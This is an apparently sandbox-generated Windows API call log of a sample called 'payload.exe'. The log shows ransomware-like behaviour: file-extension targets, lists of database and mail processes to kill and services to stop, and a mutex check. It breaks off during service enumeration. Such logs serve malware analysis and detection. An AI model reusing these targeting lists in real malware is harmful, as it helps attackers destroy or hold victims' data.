# Flog Txt Version 1 # Analyzer Version: 3.0.1 # Analyzer Build Date: Apr 5 2019 17:58:17 # Log Creation Date: 06.04.2019 21:24:04.797 Process: id = "1" image_name = "payload.exe" filename = "c:\\users\\fd1hvy\\desktop\\payload.exe" page_root = "0x33dc7000" os_pid = "0x3d8" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "analysis_target" parent_id = "0" os_parent_pid = "0x0" cmd_line = "\"C:\\Users\\FD1HVy\\Desktop\\payload.exe\" " cur_dir = "C:\\Users\\FD1HVy\\Desktop\\" os_username = "NQDPDE\\FD1HVy" bitness = "32" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:000103c1" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 1 os_tid = 0x5f8 [0027.463] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x75e90000 [0027.463] GetProcAddress (hModule=0x75e90000, lpProcName="GetProcAddress") returned 0x75ea51b0 [0027.464] GetProcAddress (hModule=0x75e90000, lpProcName="GetModuleHandleW") returned 0x75ea50d0 [0027.464] GetProcAddress (hModule=0x75e90000, lpProcName="FindNextFileW") returned 0x75efee40 [0027.464] GetProcAddress (hModule=0x75e90000, lpProcName="FindClose") returned 0x75efed70 [0027.464] GetProcAddress (hModule=0x75e90000, lpProcName="MoveFileW") returned 0x75ede500 [0027.464] GetProcAddress (hModule=0x75e90000, lpProcName="GetFileSizeEx") returned 0x75efef40 [0027.464] GetProcAddress (hModule=0x75e90000, lpProcName="GetModuleFileNameW") returned 0x75ea5090 [0027.464] GetProcAddress (hModule=0x75e90000, lpProcName="GetFileAttributesW") returned 0x75efef10 [0027.464] GetProcAddress (hModule=0x75e90000, lpProcName="ExitProcess") returned 0x75ea3cb0 [0027.464] GetProcAddress (hModule=0x75e90000, lpProcName="GetCommandLineW") returned 0x75ea4cc0 [0027.464] GetProcAddress (hModule=0x75e90000, lpProcName="GetComputerNameW") returned 0x75ed32c0 [0027.464] GetProcAddress (hModule=0x75e90000, lpProcName="GetComputerNameA") returned 0x75ed3780 [0027.464] GetProcAddress (hModule=0x75e90000, lpProcName="CreateMutexW") returned 0x75efeb70 [0027.464] GetProcAddress (hModule=0x75e90000, lpProcName="lstrlenW") returned 0x75ea6c70 [0027.464] GetProcAddress (hModule=0x75e90000, lpProcName="lstrlenA") returned 0x75ea6c50 [0027.464] GetProcAddress (hModule=0x75e90000, lpProcName="GetCurrentProcess") returned 0x75efea10 [0027.464] GetProcAddress (hModule=0x75e90000, lpProcName="WaitForSingleObject") returned 0x75efeca0 [0027.464] GetProcAddress (hModule=0x75e90000, lpProcName="GetLogicalDrives") returned 0x75ea0d20 [0027.464] GetProcAddress (hModule=0x75e90000, lpProcName="GetTickCount") returned 0x75efdd50 [0027.464] GetProcAddress (hModule=0x75e90000, lpProcName="DeleteFileW") returned 0x75efed40 [0027.464] GetProcAddress (hModule=0x75e90000, lpProcName="WideCharToMultiByte") returned 0x75ea6b10 [0027.464] GetProcAddress (hModule=0x75e90000, lpProcName="InitializeCriticalSectionAndSpinCount") returned 0x75efebb0 [0027.464] GetProcAddress (hModule=0x75e90000, lpProcName="Sleep") returned 0x75ea6760 [0027.464] GetProcAddress (hModule=0x75e90000, lpProcName="LeaveCriticalSection") returned 0x77bfb250 [0027.464] GetProcAddress (hModule=0x75e90000, lpProcName="ReadFile") returned 0x75eff090 [0027.465] GetProcAddress (hModule=0x75e90000, lpProcName="CreateFileW") returned 0x75efed10 [0027.465] GetProcAddress (hModule=0x75e90000, lpProcName="OpenMutexW") returned 0x75efebf0 [0027.465] GetProcAddress (hModule=0x75e90000, lpProcName="EnterCriticalSection") returned 0x77bfb2d0 [0027.465] GetProcAddress (hModule=0x75e90000, lpProcName="WaitForMultipleObjects") returned 0x75efec80 [0027.465] GetProcAddress (hModule=0x75e90000, lpProcName="lstrcmpiW") returned 0x75ea6bf0 [0027.465] GetProcAddress (hModule=0x75e90000, lpProcName="lstrcmpiA") returned 0x75ea6bd0 [0027.465] GetProcAddress (hModule=0x75e90000, lpProcName="DeleteCriticalSection") returned 0x77bdfb90 [0027.465] GetProcAddress (hModule=0x75e90000, lpProcName="ReleaseMutex") returned 0x75efec20 [0027.465] GetProcAddress (hModule=0x75e90000, lpProcName="CloseHandle") returned 0x75efeab0 [0027.465] GetProcAddress (hModule=0x75e90000, lpProcName="GetVersion") returned 0x75ea56c0 [0027.465] GetProcAddress (hModule=0x75e90000, lpProcName="CreateThread") returned 0x75ea46b0 [0027.465] GetProcAddress (hModule=0x75e90000, lpProcName="ExpandEnvironmentStringsW") returned 0x75ea4a40 [0027.465] GetProcAddress (hModule=0x75e90000, lpProcName="QueryPerformanceCounter") returned 0x75ea5da0 [0027.465] GetProcAddress (hModule=0x75e90000, lpProcName="QueryPerformanceFrequency") returned 0x75ea5dc0 [0027.465] GetProcAddress (hModule=0x75e90000, lpProcName="GetCurrentProcessId") returned 0x75efea20 [0027.465] GetProcAddress (hModule=0x75e90000, lpProcName="SetFileAttributesW") returned 0x75eff100 [0027.465] GetProcAddress (hModule=0x75e90000, lpProcName="GetVolumeInformationW") returned 0x75eff020 [0027.465] GetProcAddress (hModule=0x75e90000, lpProcName="WriteFile") returned 0x75eff180 [0027.465] GetProcAddress (hModule=0x75e90000, lpProcName="SetFilePointerEx") returned 0x75eff130 [0027.465] GetProcAddress (hModule=0x75e90000, lpProcName="SetEndOfFile") returned 0x75eff0e0 [0027.465] GetProcAddress (hModule=0x75e90000, lpProcName="FindFirstFileW") returned 0x75efedf0 [0027.465] GetProcAddress (hModule=0x75e90000, lpProcName="GetProcessHeap") returned 0x75ea51f0 [0027.465] GetProcAddress (hModule=0x75e90000, lpProcName="HeapReAlloc") returned 0x77bef630 [0027.465] GetProcAddress (hModule=0x75e90000, lpProcName="HeapAlloc") returned 0x77bf2dc0 [0027.466] GetProcAddress (hModule=0x75e90000, lpProcName="HeapFree") returned 0x75ea57f0 [0027.466] GetProcAddress (hModule=0x75e90000, lpProcName="CreatePipe") returned 0x75ea4590 [0027.466] GetProcAddress (hModule=0x75e90000, lpProcName="SetHandleInformation") returned 0x75efeae0 [0027.466] GetProcAddress (hModule=0x75e90000, lpProcName="CreateProcessW") returned 0x75ea4610 [0027.466] GetProcAddress (hModule=0x75e90000, lpProcName="CompareStringW") returned 0x75ea4430 [0027.466] GetProcAddress (hModule=0x75e90000, lpProcName="CompareStringA") returned 0x75ea4410 [0027.466] GetProcAddress (hModule=0x75e90000, lpProcName="OpenProcess") returned 0x75ea5cc0 [0027.466] GetProcAddress (hModule=0x75e90000, lpProcName="TerminateProcess") returned 0x75ea67e0 [0027.466] GetProcAddress (hModule=0x75e90000, lpProcName="GetSystemTime") returned 0x75ea54e0 [0027.466] GetProcAddress (hModule=0x75e90000, lpProcName="SystemTimeToFileTime") returned 0x75ea67a0 [0027.466] GetProcAddress (hModule=0x75e90000, lpProcName="GetLastError") returned 0x75ea5010 [0027.466] GetProcAddress (hModule=0x75e90000, lpProcName="CreateToolhelp32Snapshot") returned 0x75ededc0 [0027.466] GetProcAddress (hModule=0x75e90000, lpProcName="Process32NextW") returned 0x75edf8f0 [0027.466] GetProcAddress (hModule=0x75e90000, lpProcName="Process32FirstW") returned 0x75edf750 [0027.466] LoadLibraryA (lpLibFileName="advapi32.dll") returned 0x761b0000 [0029.596] GetProcAddress (hModule=0x761b0000, lpProcName="RegOpenKeyExW") returned 0x761ce580 [0029.597] GetProcAddress (hModule=0x761b0000, lpProcName="RegQueryValueExW") returned 0x761ce5a0 [0029.597] GetProcAddress (hModule=0x761b0000, lpProcName="RegSetValueExW") returned 0x761cf530 [0029.597] GetProcAddress (hModule=0x761b0000, lpProcName="RegCloseKey") returned 0x761ced60 [0029.597] GetProcAddress (hModule=0x761b0000, lpProcName="OpenProcessToken") returned 0x761cefb0 [0029.597] GetProcAddress (hModule=0x761b0000, lpProcName="GetTokenInformation") returned 0x761cee90 [0029.597] GetProcAddress (hModule=0x761b0000, lpProcName="OpenSCManagerW") returned 0x761d0540 [0029.597] GetProcAddress (hModule=0x761b0000, lpProcName="OpenServiceW") returned 0x761cfa20 [0029.597] GetProcAddress (hModule=0x761b0000, lpProcName="CloseServiceHandle") returned 0x761cfc00 [0029.597] GetProcAddress (hModule=0x761b0000, lpProcName="ControlService") returned 0x761e26d0 [0029.597] GetProcAddress (hModule=0x761b0000, lpProcName="QueryServiceStatus") returned 0x761d2380 [0029.597] GetProcAddress (hModule=0x761b0000, lpProcName="EnumDependentServicesW") returned 0x761e2f70 [0029.597] GetProcAddress (hModule=0x761b0000, lpProcName="EnumServicesStatusExW") returned 0x761cfc80 [0029.597] LoadLibraryA (lpLibFileName="user32.dll") returned 0x74b70000 [0031.965] GetProcAddress (hModule=0x74b70000, lpProcName="SystemParametersInfoW") returned 0x74b9f210 [0031.965] LoadLibraryA (lpLibFileName="Shell32.dll") returned 0x76480000 [0036.402] GetProcAddress (hModule=0x76480000, lpProcName="ShellExecuteExW") returned 0x765e4730 [0036.402] LoadLibraryA (lpLibFileName="ntdll.dll") returned 0x77bb0000 [0036.402] GetProcAddress (hModule=0x77bb0000, lpProcName="NtQuerySystemInformation") returned 0x77c22070 [0036.402] LoadLibraryA (lpLibFileName="mpr.dll") returned 0x74500000 [0036.492] GetProcAddress (hModule=0x74500000, lpProcName="WNetCloseEnum") returned 0x74502640 [0036.492] GetProcAddress (hModule=0x74500000, lpProcName="WNetOpenEnumW") returned 0x74502790 [0036.492] GetProcAddress (hModule=0x74500000, lpProcName="WNetEnumResourceW") returned 0x74502410 [0036.492] LoadLibraryA (lpLibFileName="ws2_32.dll") returned 0x746a0000 [0036.683] GetProcAddress (hModule=0x746a0000, lpProcName="WSAStartup") returned 0x746a5b40 [0036.684] GetProcAddress (hModule=0x746a0000, lpProcName="socket") returned 0x746b4510 [0036.684] GetProcAddress (hModule=0x746a0000, lpProcName="send") returned 0x746a5030 [0036.684] GetProcAddress (hModule=0x746a0000, lpProcName="recv") returned 0x746b0c50 [0036.684] GetProcAddress (hModule=0x746a0000, lpProcName="connect") returned 0x746a5410 [0036.684] GetProcAddress (hModule=0x746a0000, lpProcName="closesocket") returned 0x746b0910 [0036.684] GetProcAddress (hModule=0x746a0000, lpProcName="gethostbyname") returned 0x746d6cb0 [0036.684] GetProcAddress (hModule=0x746a0000, lpProcName="inet_addr") returned 0x746b9160 [0036.684] GetProcAddress (hModule=0x746a0000, lpProcName="ntohl") returned 0x746a49d0 [0036.684] GetProcAddress (hModule=0x746a0000, lpProcName="htonl") returned 0x746a49d0 [0036.684] GetProcAddress (hModule=0x746a0000, lpProcName="htons") returned 0x746b8ff0 [0036.684] GetProcessHeap () returned 0x690000 [0036.684] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0x20) returned 0x69af68 [0036.685] QueryPerformanceCounter (in: lpPerformanceCount=0x19fdb0 | out: lpPerformanceCount=0x19fdb0*=12828199220) returned 1 [0036.685] GetTickCount () returned 0x1f4fa [0036.685] GetCurrentProcessId () returned 0x3d8 [0036.685] GetTickCount () returned 0x1f4fa [0036.686] GetTickCount () returned 0x1f4fa [0036.686] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0x20) returned 0x69af90 [0036.686] GetVersion () returned 0x23f00206 [0036.686] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0x7) returned 0x6a6e30 [0036.686] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0x10) returned 0x6a76e0 [0036.686] RtlReAllocateHeap (Heap=0x690000, Flags=0x0, Ptr=0x6a76e0, Size=0x20) returned 0x69afb8 [0036.686] RtlReAllocateHeap (Heap=0x690000, Flags=0x0, Ptr=0x69afb8, Size=0x40) returned 0x6aa348 [0036.686] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xfffe) returned 0x6ae760 [0036.686] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\syncronize_72VX64A") returned 0x0 [0036.686] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\syncronize_72VX64A") returned 0x1ec [0036.686] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x6a6e30 | out: hHeap=0x690000) returned 1 [0036.687] lstrlenW (lpString="Global\\syncronize_") returned 18 [0036.687] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x6aa348 | out: hHeap=0x690000) returned 1 [0036.687] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0x7) returned 0x6a6de0 [0036.687] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0x10) returned 0x6a74b8 [0036.687] RtlReAllocateHeap (Heap=0x690000, Flags=0x0, Ptr=0x6a74b8, Size=0x20) returned 0x69afb8 [0036.687] RtlReAllocateHeap (Heap=0x690000, Flags=0x0, Ptr=0x69afb8, Size=0x40) returned 0x6aa468 [0036.687] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xfffe) returned 0x6be768 [0036.687] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\syncronize_72VX64U") returned 0x0 [0036.687] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\syncronize_72VX64U") returned 0x1f0 [0036.687] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x6a6de0 | out: hHeap=0x690000) returned 1 [0036.687] lstrlenW (lpString="Global\\syncronize_") returned 18 [0036.687] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x6aa468 | out: hHeap=0x690000) returned 1 [0036.687] GetVersion () returned 0x23f00206 [0036.687] GetCurrentProcess () returned 0xffffffff [0036.687] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x19fd9c | out: TokenHandle=0x19fd9c*=0x1f4) returned 1 [0036.687] GetTokenInformation (in: TokenHandle=0x1f4, TokenInformationClass=0x14, TokenInformation=0x19fd98, TokenInformationLength=0x4, ReturnLength=0x19fda4 | out: TokenInformation=0x19fd98, ReturnLength=0x19fda4) returned 1 [0036.687] CloseHandle (hObject=0x1f4) returned 1 [0036.687] WaitForSingleObject (hHandle=0x1f0, dwMilliseconds=0x0) returned 0x0 [0036.687] WaitForSingleObject (hHandle=0x1ec, dwMilliseconds=0x3e8) returned 0x0 [0036.688] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0x14) returned 0x6a5610 [0036.688] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0x10) returned 0x6a7680 [0036.688] RtlReAllocateHeap (Heap=0x690000, Flags=0x0, Ptr=0x6a7680, Size=0x20) returned 0x69afb8 [0036.688] RtlReAllocateHeap (Heap=0x690000, Flags=0x0, Ptr=0x69afb8, Size=0x40) returned 0x6aa660 [0036.688] RtlReAllocateHeap (Heap=0x690000, Flags=0x0, Ptr=0x6aa660, Size=0x80) returned 0x6a23b8 [0036.688] RtlReAllocateHeap (Heap=0x690000, Flags=0x0, Ptr=0x6a23b8, Size=0x100) returned 0x6a7358 [0036.688] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0x34) returned 0x6a9898 [0036.688] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0x4) returned 0x6a6de0 [0036.688] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0x4) returned 0x6a6d30 [0036.688] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0x8) returned 0x6a6cd0 [0036.688] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xc) returned 0x6a74b8 [0036.688] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0x4) returned 0x6a6d40 [0036.688] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x6a7680 [0036.688] RtlReAllocateHeap (Heap=0x690000, Flags=0x0, Ptr=0x6a6d40, Size=0x8) returned 0x6a6e30 [0036.688] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xc) returned 0x6a75d8 [0036.688] RtlReAllocateHeap (Heap=0x690000, Flags=0x0, Ptr=0x6a6e30, Size=0x10) returned 0x6a75c0 [0036.688] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x6a76c8 [0036.688] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x6a76e0 [0036.688] RtlReAllocateHeap (Heap=0x690000, Flags=0x0, Ptr=0x6a75c0, Size=0x20) returned 0x69afb8 [0036.688] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xc) returned 0x6a75c0 [0036.688] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x6a7710 [0036.688] RtlReAllocateHeap (Heap=0x690000, Flags=0x0, Ptr=0x6a6de0, Size=0x8) returned 0x6a6e30 [0036.688] RtlReAllocateHeap (Heap=0x690000, Flags=0x0, Ptr=0x6a6d30, Size=0x8) returned 0x6a6de0 [0036.688] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0x8) returned 0x6a6e40 [0036.688] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xc) returned 0x6a7500 [0036.688] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0x4) returned 0x6a6e60 [0036.688] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x6a75f0 [0036.688] RtlReAllocateHeap (Heap=0x690000, Flags=0x0, Ptr=0x6a6e60, Size=0x8) returned 0x6a6ce0 [0036.688] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x6a7800 [0036.688] RtlReAllocateHeap (Heap=0x690000, Flags=0x0, Ptr=0x6a6ce0, Size=0x10) returned 0x6a77e8 [0036.688] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x6a7818 [0036.688] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0x8) returned 0x6a6e60 [0036.688] RtlReAllocateHeap (Heap=0x690000, Flags=0x0, Ptr=0x6a77e8, Size=0x20) returned 0x6ce9a8 [0036.688] RtlReAllocateHeap (Heap=0x690000, Flags=0x0, Ptr=0x6a6e30, Size=0x10) returned 0x6a7830 [0036.689] RtlReAllocateHeap (Heap=0x690000, Flags=0x0, Ptr=0x6a6de0, Size=0x10) returned 0x6a77b8 [0036.689] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0x8) returned 0x6a6d30 [0036.689] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xc) returned 0x6a7848 [0036.689] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0x4) returned 0x6a6e30 [0036.689] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x6a7860 [0036.689] RtlReAllocateHeap (Heap=0x690000, Flags=0x0, Ptr=0x6a6e30, Size=0x8) returned 0x6a6d40 [0036.689] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0x8) returned 0x6a6de0 [0036.689] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xc) returned 0x6a7878 [0036.689] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0x4) returned 0x6a6ce0 [0036.689] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x6a77d0 [0036.689] RtlReAllocateHeap (Heap=0x690000, Flags=0x0, Ptr=0x6a6ce0, Size=0x8) returned 0x6a6e30 [0036.689] RtlReAllocateHeap (Heap=0x690000, Flags=0x0, Ptr=0x6a7830, Size=0x20) returned 0x6cebb0 [0036.689] RtlReAllocateHeap (Heap=0x690000, Flags=0x0, Ptr=0x6a77b8, Size=0x20) returned 0x6ceb88 [0036.689] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0x8) returned 0x6a6e70 [0036.689] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xc) returned 0x6a77b8 [0036.689] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0x4) returned 0x6a6ce0 [0036.689] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x6a7830 [0036.689] RtlReAllocateHeap (Heap=0x690000, Flags=0x0, Ptr=0x6a6ce0, Size=0x8) returned 0x6a6cf0 [0036.689] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0x14) returned 0x6a5630 [0036.689] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0x14) returned 0x6a5570 [0036.689] lstrlenW (lpString="doc(.doc;.docx;.pdf;.xls;.xlsx;.ppt;)arc(.zip;.rar;.bz2;.7z;)dbf(.dbf;)1c8(.1cd;)jpg(.jpg;)") returned 91 [0036.689] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x6a7358 | out: hHeap=0x690000) returned 1 [0036.689] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x19fde8 | out: lpWSAData=0x19fde8) returned 0 [0036.693] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0x10) returned 0x6a77e8 [0036.693] RtlReAllocateHeap (Heap=0x690000, Flags=0x0, Ptr=0x6a77e8, Size=0x20) returned 0x6ce868 [0036.693] RtlReAllocateHeap (Heap=0x690000, Flags=0x0, Ptr=0x6ce868, Size=0x40) returned 0x6aa030 [0036.693] RtlReAllocateHeap (Heap=0x690000, Flags=0x0, Ptr=0x6aa030, Size=0x80) returned 0x6a7d68 [0036.693] RtlReAllocateHeap (Heap=0x690000, Flags=0x0, Ptr=0x6a7d68, Size=0x100) returned 0x6a7358 [0036.693] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0x10) returned 0x6a77e8 [0036.693] RtlReAllocateHeap (Heap=0x690000, Flags=0x0, Ptr=0x6a77e8, Size=0x20) returned 0x6ce8e0 [0036.693] RtlReAllocateHeap (Heap=0x690000, Flags=0x0, Ptr=0x6ce8e0, Size=0x40) returned 0x6aa6f0 [0036.693] RtlReAllocateHeap (Heap=0x690000, Flags=0x0, Ptr=0x6aa6f0, Size=0x80) returned 0x6d4160 [0036.693] RtlReAllocateHeap (Heap=0x690000, Flags=0x0, Ptr=0x6d4160, Size=0x100) returned 0x6d5030 [0036.693] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xc) returned 0x6a77e8 [0036.693] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0x4) returned 0x6d31d0 [0036.693] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0x10) returned 0x6d5348 [0036.693] RtlReAllocateHeap (Heap=0x690000, Flags=0x0, Ptr=0x6d31d0, Size=0x8) returned 0x6d3310 [0036.693] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0x14) returned 0x6a5510 [0036.693] RtlReAllocateHeap (Heap=0x690000, Flags=0x0, Ptr=0x6d3310, Size=0x10) returned 0x6d5408 [0036.693] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0x18) returned 0x6a5590 [0036.693] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0x1a) returned 0x6cec78 [0036.693] RtlReAllocateHeap (Heap=0x690000, Flags=0x0, Ptr=0x6d5408, Size=0x20) returned 0x6ce7a0 [0036.693] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0x1c) returned 0x6ce9d0 [0036.693] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0x16) returned 0x6a54f0 [0036.693] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0x1a) returned 0x6ce7c8 [0036.693] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xc) returned 0x6d5198 [0036.693] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0x4) returned 0x6d3280 [0036.693] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0x40) returned 0x6a9fa0 [0036.694] RtlReAllocateHeap (Heap=0x690000, Flags=0x0, Ptr=0x6d3280, Size=0x8) returned 0x6d3360 [0036.694] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0x3c) returned 0x6aa420 [0036.694] RtlReAllocateHeap (Heap=0x690000, Flags=0x0, Ptr=0x6d3360, Size=0x10) returned 0x6d5318 [0036.694] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0x14) returned 0x6a5810 [0036.694] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0x18) returned 0x6a55d0 [0036.694] RtlReAllocateHeap (Heap=0x690000, Flags=0x0, Ptr=0x6d5318, Size=0x20) returned 0x6ce930 [0036.694] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0x24) returned 0x6a5fe8 [0036.694] lstrlenW (lpString="1c8.exe;1cv77.exe;outlook.exe;postgres.exe;mysqld-nt.exe;mysqld.exe;sqlservr.exe;") returned 81 [0036.694] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x6a7358 | out: hHeap=0x690000) returned 1 [0036.694] lstrlenW (lpString="FirebirdGuardianDefaultInstance;FirebirdServerDefaultInstance;sqlwriter;mssqlserver;sqlserveradhelper;") returned 102 [0036.694] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x6d5030 | out: hHeap=0x690000) returned 1 [0036.694] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x6ce8b8 [0036.696] EnumServicesStatusExW (in: hSCManager=0x6ce8b8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x19fd84, lpServicesReturned=0x19fd9c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x19fd84, lpServicesReturned=0x19fd9c, lpResumeHandle=0x0) returned 0 [0036.697] GetLastError () returned 0xea [0036.697] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0x1c30) returned 0x6d7728 [0036.697] EnumServicesStatusExW (in: hSCManager=0x6ce8b8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x6d7728, cbBufSize=0x1c30, pcbBytesNeeded=0x19fd84, lpServicesReturned=0x19fd9c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x6d7728, pcbBytesNeeded=0x19fd84, lpServicesReturned=0x19fd9c, lpResumeHandle=0x0) returned 1 [0036.698] CloseServiceHandle (hSCObject=0x6ce8b8) returned 1 [0036.698] lstrlenW (lpString="Appinfo") returned 7 [0036.698] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0036.700] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0036.700] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0036.700] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0036.700] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0036.700] lstrlenW (lpString="AppXSvc") returned 7 [0036.700] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0036.700] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0036.700] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0036.700] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0036.700] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0036.700] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0036.700] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0036.700] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0036.700] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0036.700] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0036.700] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0036.700] lstrlenW (lpString="Audiosrv") returned 8 [0036.700] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0036.700] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0036.700] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0036.700] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0036.701] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0036.701] lstrlenW (lpString="BFE") returned 3 [0036.701] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0036.701] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0036.701] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0036.701] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0036.701] lstrcmpiW 